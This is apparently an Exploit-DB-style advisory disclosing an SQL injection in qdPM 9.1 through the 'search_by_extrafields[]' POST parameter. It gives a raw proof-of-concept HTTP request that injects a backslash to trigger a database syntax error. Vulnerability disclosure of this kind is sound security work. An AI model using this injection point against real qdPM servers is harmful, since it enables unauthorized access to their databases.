qdPM 9.1 SQL Injection

`===========================================================================================  
# Exploit Title: qdPM 9.1 - 'search_by_extrafields[]' SQL Injection  
# Date: 14-02-2019  
# Exploit Author: Mehmet EMIROGLU  
# Vendor Homepage: http://qdpm.net  
# Software Link: http://qdpm.net/download-qdpm-free-project-management  
# Version: v9.1  
# Category: Webapps  
# Tested on: Wamp64, @Win  
# Software description:  
Free project management tool for small team  
qdPM is a free web-based project management tool suitable for a  
small team working on multiple projects.  
It is fully configurable. You can easy manage Projects, Tasks and  
People. Customers interact  
using a Ticket System that is integrated into Task management.  
===========================================================================================  
# POC - SQLi  
# Parameters : search_by_extrafields[]  
# Attack Pattern : URL encoded POST input search_by_extrafields[] was set to \  
Error message found : You have an error in your SQL syntax  
# POST Request: http://localhost/qdpm/index.php/users  
===========================================================================================  
POST /qdpm/index.php/users HTTP/1.1  
Content-Length: 45  
Content-Type: application/x-www-form-urlencoded  
Referer: http://localhost/qdPM/  
Cookie: qdPM8=se4u27u8rbs04mo61f138b5k3d; sidebar_closed=1  
Host: localhost  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21  
(KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21  
Accept: */*  
  
search[keywords]=&search_by_extrafields[]=%5c  
`